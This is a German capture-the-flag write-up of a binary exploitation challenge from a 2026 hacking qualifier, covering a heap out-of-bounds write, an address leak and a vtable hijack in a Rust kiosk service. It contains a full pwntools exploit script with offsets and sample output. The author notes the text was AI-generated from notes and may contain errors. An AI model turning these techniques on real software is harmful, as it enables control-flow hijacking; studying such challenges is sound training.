Disclaimer: Im August 2026 fand die Qualifikation für das Finale von Deutschlands Bester Hacker statt, welches ich auf Platz 1 abschließen konnte. Nur zwei Teilnehmer waren in der Lage, alle Challenges zu lösen. Dieses Writeup wurde mit KI auf Basis meiner Notizen erstellt und kann Fehler enthalten, bei Fragen bitte direkt an mich wenden im DBH-Discord.
| Wettbewerb | Deutschlands Bester Hacker 2026 — Qualifikation |
| Kategorie | PwnBinary ExploitationAusnutzung von Speicher- oder Logikfehlern in kompilierten Anwendungen. |
| Punkte | 454 |
| Binary | ELF64 · Rust · PIE · stripped, TLSTransport Layer SecuritySchützt Netzwerkverbindungen durch Verschlüsselung, Authentifizierung und Integritätsprüfung.-Endpunkt |
| Angriffsklasse | Heap-OOB-Write → vtable hijack |
| Flag | CTF{vtable_XXX} |
Die Challenge
„Der BrewControl-3000-Kiosk hat ein Manager-Override, das den Master-Token der Kasse auszahlt — kein Button, kein Menüeintrag, keine Erwähnung auf irgendeinem Beleg. Bestell einen Kaffee, hinterlasse eine Notiz, lass auszahlen, und achte darauf, wie er antwortet.“
Kurzfassung der Lösung: Die „gift note“ wird ungeprüft in die 56-Byte-Register-Struktur
kopiert und überschreibt deren vtable-Pointer. pay & prepare ruft blind durch diese
vtable. Mit preview receipt leakt man Heap- und PIE-Adressen, biegt den vtable-Pointer auf
die Struktur selbst und lässt [vtable+0x18] auf ein Gadget zeigen, das das versteckte
Override-Flag setzt. Beim Schließen zahlt die Reconciliation den Master-Token aus.
Aufklärung
Das Binary ist ein statisch gelinkter, gestrippter Rust-PIE-Build mit PIE + ASLRAddress Space Layout RandomizationSchutzmechanismus, der Speicheradressen zufällig anordnet und Exploits dadurch erschwert. und ohne RWX. Der Service begrüßt uns mit einem simplen Kiosk-Menü:
=== BrewControl POS — self-service kiosk ===
1 <0|1|2> order a drink (0=espresso 1=latte 2=americano)
2 <hex> attach gift note
3 <len> preview receipt (note bytes, hex)
4 pay & prepare
0 close terminal
kiosk>
Interessant sind die Strings, die im Menü fehlen. Im .rodata stecken:
REGISTER_KEY
[reconciliation] manager override on file
[reconciliation] register master token: # <── das wollen wir
Eine reconcile()-Funktion druckt diesen Master-Token — auf dem Server der Wert der
Umgebungsvariable REGISTER_KEY, also die Flag. Sie läuft beim Schließen des Terminals (und
im Panic-Unwind), aber nur, wenn zuvor ein internes Override-Byte gesetzt wurde. Kein
Menüpunkt setzt es. Das ist das Ziel.
Die Schwachstelle
In main wird ein Zustandsobjekt S auf dem Heap angelegt (0x38 Bytes). Es ist ein
Rust-Trait-Objekt: ein Daten- und ein vtable-Pointer, plus etwas Buchhaltung.
struct S — heap, 0x38 bytes (nach „1 0")
+0x00 note / scratch 0x00 … (genullt)
+0x20 &S (Zeiger auf sich) ← Heap-Leak
+0x28 data-ptr → rdi bei pay 0x1
+0x30 vtable-ptr → rax bei pay base+0x567e8 ← PIE-Leak
Drei Kommandos fassen diese Struktur an — und genau ihr Zusammenspiel ist der Bug:
2 <hex>— dekodiert die Note undmemcpyt sie nachS+0. Erlaubt sind bis zu 64 Bytes, aberSist nur 56 groß: eine ≥0x38Byte lange Note überschreibt data- und vtable-Pointer.3 <len>— kopiertlenBytes ausS+0und gibt sie als Hex aus. Keine Begrenzung auf die Note-Länge → liest die Struktur-Felder aus (Out-of-bounds-Read = Infoleak).4—pay & preparemachtrax = S[0x30]; rdi = S[0x28]; call [rax+0x18]— ein voll kontrollierter indirekter Aufruf.
Der Angriff
Leak. Vor dem Zerstören von S lesen wir es aus. preview receipt mit Länge 56 dumpt
die gesamte Struktur:
kiosk> 3 56
RECEIPT 0000000000000000 0000000000000000 0000000000000000
60fd3640 09560000 # +0x20 &S = 0x56094036fd60
0100000000000000
e857fd33 09560000 # +0x30 vtable = 0x560933fd57e8
Die vtable des Default-Drinks (espresso) liegt bei base + 0x567e8, also:
PIE_base = 0x560933fd57e8 − 0x567e8 = 0x560933f7f000
override_setter = PIE_base + 0x15960 = 0x560933f94960
&S = 0x56094036fd60
Hijack. Der Trick: den vtable-Pointer S[0x30] auf &S selbst setzen. Dann liest
pay die aufzurufende Funktion aus [&S + 0x18] — also aus Bytes, die wir in der Note
kontrollieren. Dort legen wir override_setter ab.
Es gibt einen zweiten call beim Schließen: die Reconciliation ruft den Destruktor über
[vtable+0x00] und dealloziert über [vtable+0x08]. Damit das nicht crasht, setzen wir
drop = NULL und size = 0 — beide Aufrufe werden dann übersprungen:
gift note = neuer Inhalt von S (fake vtable == S selbst)
+0x00 drop_in_place = 0 → Drop übersprungen
+0x08 vtable.size = 0 → dealloc übersprungen
+0x10 vtable.align = 0
+0x18 [vtable+0x18] = base+0x15960 → override_setter
+0x20 — = 0
+0x28 S.data → rdi = 0
+0x30 S.vtable = &S → fake vtable
Ablauf der beiden indirekten Aufrufe:
▸ pay: rax = S[0x30] = &S → call [&S + 0x18] = override_setter() → Flag gesetzt, sauberer return
▸ close: drop = 0 & size = 0 → kein Crash → reconcile() druckt den master token
Warum override_setter und nicht direkt in reconcile springen? Das Gadget ist
self-contained (mov al,1; xchg [flag],al; ret) — es setzt das Flag und kehrt sauber
zurück. Danach läuft der Kiosk normal weiter, wir schließen das Terminal, und die reguläre
Reconciliation zahlt aus. Kein Stack-Smashing, kein Segfault.
Der ganze ExploitExploitCode oder Technik, die eine Schwachstelle gezielt ausnutzt.:
io = remote(host, port, ssl=True) # wie: ncat --ssl
io.sendline(b"1 0") # espresso → bekannte vtable
raw = preview(io, 0x38) # 3 56 → leak
addr_S = u64(raw[0x20:0x28])
base = u64(raw[0x30:0x38]) - 0x567e8
note = flat({
0x00: p64(0), # drop = NULL
0x08: p64(0), # size = 0
0x18: p64(base + 0x15960), # [vtable+0x18] = override_setter
0x28: p64(0), # rdi
0x30: p64(addr_S), # vtable = &S
}, length=0x38)
io.sendline(b"2 " + enhex(note).encode()) # attach gift note
io.sendline(b"4") # pay → hijack → flag gesetzt
io.sendline(b"0") # close → reconcile zahlt aus
print(io.recvall())
Output:
[+] &S = 0x000056094036fd60
[+] vtable = 0x0000560933fd57e8
[+] PIE base = 0x0000560933f7f000
[*] close output:
closing terminal
[reconciliation] manager override on file
[reconciliation] register master token: CTF{vtable_XXX}
Die Flag
CTF{vtable_XXX}
Was ich mitnehme
- Rust ist an
unsafe-Grenzen nicht speichersicher. Einmemcpymit falscher Längenprüfung (64 erlaubt, Puffer 56) reicht, um ein Trait-Objekt zu korrumpieren. - Ein Trait-Objekt ist ein Funktionszeiger-Tisch. Wer den vtable-Pointer kontrolliert,
kontrolliert den nächsten
call— hier sogar mit kontrolliertemrdi. - Der Leak steckte im Feature. „preview receipt“ war als harmlose Debug-Ausgabe getarnt, gab aber Heap- und PIE-Adressen preis — beides nötig, um PIE zu besiegen.
- Sauber gewinnen. Statt in eine Funktion zu springen und den Stack zu verbiegen: ein self-contained Gadget nutzen und das Programm normal auslaufen lassen. Die eingebaute Reconciliation erledigt den Rest.